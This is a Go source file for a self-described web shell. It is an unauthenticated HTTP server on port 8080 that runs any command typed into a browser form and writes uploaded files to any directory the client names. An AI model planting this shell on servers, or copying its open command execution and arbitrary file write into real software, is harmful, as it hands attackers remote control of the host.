gommand/gommand.go

452 lines
10 KiB
Go

package main
import (
// "bytes"
"bufio"
"bytes"
"fmt"
"html/template"
"io"
"net/http"
"os"
"os/exec"
"os/user"
"path/filepath"
"strings"
)
type PageData struct {
CurrentDir string
CurrentUsername string
CommandLog []CommandOutput
}
type CommandOutput struct {
Command string
Output string
Error string
}
var commandLog []CommandOutput
func executeCommand(command string, args []string, dir string) (string, error) {
cmd := exec.Command(command, args...)
cmd.Dir = dir
output, err := cmd.CombinedOutput()
return string(output), err
}
func executeSimpleCommand(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
// args := strings.Fields(command)
args := parseCommandWithQuotes(command)
if len(args) == 0 {
return cmdOutput
}
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = currentDir
output, err := cmd.CombinedOutput()
cmdOutput.Command = command
cmdOutput.Output = string(output)
if err != nil {
cmdOutput.Error = err.Error()
}
return cmdOutput
}
func changeDirectory(command string, args []string, currentDir *string) CommandOutput {
var cmdOutput CommandOutput
if len(args) == 0 {
homeDir, _ := os.UserHomeDir()
err := os.Chdir(homeDir)
if err != nil {
cmdOutput = CommandOutput {
Command: command,
Error: "Failed to change to home directory: " + err.Error(),
}
} else {
cmdOutput = CommandOutput {
Command: command,
Output: "Changed to home directory: " + homeDir,
}
*currentDir = homeDir
}
} else {
newDir := args[0]
err := os.Chdir(newDir)
if err != nil {
cmdOutput = CommandOutput {
Command: command + " " + newDir,
Error: "Failed to change to directory: " + err.Error(),
}
} else {
cmdOutput = CommandOutput {
Command: command + " " + newDir,
Output: "Changed to directory: " + newDir,
}
*currentDir = newDir
}
}
return cmdOutput
}
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost {
file, header, err := r.FormFile("file")
if err != nil {
http.Error(w, "Failed to upload file", http.StatusInternalServerError)
return
}
defer file.Close()
uploadDir := r.FormValue("uploadDir")
if uploadDir == "" {
uploadDir = "./"
}
out, err := os.Create(filepath.Join(uploadDir, header.Filename))
if err != nil {
http.Error(w, "Failed to save file", http.StatusInternalServerError)
return
}
defer out.Close()
_, err = io.Copy(out, file)
if err != nil {
http.Error(w, "Failed to write file", http.StatusInternalServerError)
return
}
fmt.Fprintf(w, "File %s uploaded successfully to %s", header.Filename, uploadDir)
}
}
////////////////////////////////////////////////////////////////////////////////
//
// Command redirection and Piping
//
////////////////////////////////////////////////////////////////////////////////
func processCommand(command string, currentDir string) CommandOutput {
if strings.Contains(command, "|") {
return executeCommandWithPipe(command, currentDir)
} else if strings.Contains(command, ">") {
return handleOutputRedirection(command, currentDir)
} else if strings.Contains(command, "<") {
return handleInputRedirection(command, currentDir)
}
return executeSimpleCommand(command, currentDir)
}
// Handle output redirection which is '>'
func handleOutputRedirection(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
parts := strings.SplitN(command, ">", 2)
// parts := strings.Split(command, ">")
cmdStr := strings.TrimSpace(parts[0])
outputFile := strings.TrimSpace(parts[1])
// cmdParts := strings.Fields(cmdStr)
cmdParts := parseCommandWithQuotes(cmdStr)
if len(cmdParts) == 0 {
return cmdOutput
}
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
cmd.Dir = currentDir
file, err := os.Create(outputFile)
if err != nil {
cmdOutput.Error = fmt.Sprintf("Error creating output file: %v", err)
return cmdOutput
}
defer file.Close()
cmd.Stdout = file
cmd.Stderr = file
err = cmd.Run()
if err != nil {
cmdOutput.Error = fmt.Sprintf("Error executing command: %v", err)
}
cmdOutput.Command = command
return cmdOutput
}
func handleInputRedirection(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
// parts := strings.Split(command, "<")
parts := strings.SplitN(command, "<", 2)
cmdStr := strings.TrimSpace(parts[0])
inputFile := strings.TrimSpace(parts[1])
cmdParts := parseCommandWithQuotes(cmdStr)
if len(cmdParts) == 0 {
return cmdOutput
}
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
cmd.Dir = currentDir
file, err := os.Open(inputFile)
if err != nil {
cmdOutput.Error = fmt.Sprintf("Error opening input file: %v", err)
return cmdOutput
}
defer file.Close()
cmd.Stdin = file
output, err := cmd.CombinedOutput()
cmdOutput.Output = string(output)
if err != nil {
cmdOutput.Error = err.Error()
}
cmdOutput.Command = command
return cmdOutput
}
func executeCommandWithPipe(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
cmdOutput.Command = command
pipeCommands := strings.Split(command, "|")
var prevOutput []byte
for i, cmdPart := range pipeCommands {
cmdPart = strings.TrimSpace(cmdPart)
args := parseCommandWithQuotes(cmdPart)
if len(args) == 0 {
continue
}
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = currentDir
if i > 0 {
cmd.Stdin = strings.NewReader(string(prevOutput))
}
var outputBuffer strings.Builder
cmd.Stdout = &outputBuffer
cmd.Stderr = &outputBuffer
err := cmd.Run()
if err != nil {
cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmdPart, err)
return cmdOutput
}
// Store the output for the next pipe stage
prevOutput = []byte(outputBuffer.String())
}
// Final output from the last command in the pipe
cmdOutput.Output = string(prevOutput)
return cmdOutput
}
func splitCommand(input string) []string {
scanner := bufio.NewScanner(strings.NewReader(input))
scanner.Split(bufio.ScanWords)
var parts []string
var buffer bytes.Buffer
inQuotes := false
quoteChar := rune(0)
for scanner.Scan() {
token := scanner.Text()
if inQuotes {
buffer.WriteString(" ")
buffer.WriteString(token)
if strings.HasSuffix(token, string(quoteChar)) {
inQuotes = false
parts = append(parts, strings.Trim(buffer.String(), `"'`))
buffer.Reset()
}
} else {
if strings.HasPrefix(token, `"`) || strings.HasPrefix(token, `'`) {
inQuotes = true
quoteChar = rune(token[0])
buffer.WriteString(token)
} else {
parts = append(parts, token)
}
}
}
if buffer.Len() > 0 {
parts = append(parts, buffer.String())
}
return parts
}
func parseCommandWithQuotes(command string) []string {
var args []string
var current strings.Builder
inSingleQuote, inDoubleQuote := false, false
for i := 0; i < len(command); i++ {
c := command[i]
switch c {
case '\'':
if !inDoubleQuote {
inSingleQuote = !inSingleQuote
continue
}
case '"':
if !inSingleQuote {
inDoubleQuote = !inDoubleQuote
continue
}
case ' ':
if !inSingleQuote && !inDoubleQuote {
if current.Len() > 0 {
args = append(args, current.String())
current.Reset()
}
continue
}
case '\\':
// Handle escaped characters
if i+1 < len(command) {
next := command[i+1]
if next == '"' || next == '\'' || next == '\\' {
current.WriteByte(next)
i++
continue
}
}
}
current.WriteByte(c)
}
// Add the last argument
if current.Len() > 0 {
args = append(args, current.String())
}
return args
}
func handler(w http.ResponseWriter, r *http.Request) {
currentDir, _ := os.Getwd()
currentUser, _ := user.Current()
currentUsername := currentUser.Username
if r.Method == http.MethodPost {
input := r.FormValue("command")
parts := strings.Fields(input)
if len(parts) > 0 {
command := parts[0]
args := parts[1:]
if command == "cd" {
cmdOutput := changeDirectory(command, args, &currentDir)
commandLog = append(commandLog, cmdOutput)
} else {
cmdOutput := processCommand(input, currentDir)
commandLog = append(commandLog, cmdOutput)
}
}
}
tmpl := template.Must(template.New("index").Parse(`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Go Web Shell</title>
<style>
body {
background-color: #222;
color: #eee;
font-family: monospace;
font-size: 14pt;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
flex-direction: column;
}
#terminal {
flex: 1;
padding: 12px;
overflow-y: auto;
white-space: pre-wrap;
border: none;
margin: 10px;
display: flex;
flex-direction: column;
}
input {
font-size: 14pt;
background: #222;
color: #eee;
border: none;
width: 80%;
font-family: monospace;
}
input:focus {
outline: none;
}
span.command {
color: #75df0b;
}
span.error {
color: #ff5555;
}
span.directory {
color: #1bc9e7;
}
</style>
</head>
<body>
<div id="terminal">
<span>Current Directory: {{.CurrentDir}}</span>
{{range .CommandLog}}
<div><span class="command">gommand:$ {{.Command}}</span></div>
{{if .Output}}
<div>{{.Output}}</div>
{{end}}
{{if .Error}}
<div class="error">{{.Error}}</div>
{{end}}
{{end}}
<form method="POST" autocomplete="off">
<div style="display: flex; align-items: center;">
<span class="command">{{.CurrentUsername}}:<span class="directory">{{.CurrentDir}}</span>$ </span>
<input type="text" name="command" placeholder="Type a command here..." autofocus required>
</div>
</form>
</div>
</body>
</html>
`))
data := PageData{
CurrentDir: currentDir,
CurrentUsername: currentUsername,
CommandLog: commandLog,
}
tmpl.Execute(w, data)
}
func main() {
http.HandleFunc("/", handler)
http.HandleFunc("/upload", fileUploadHandler)
fmt.Println("Starting server on :8080")
http.ListenAndServe(":8080", nil)
}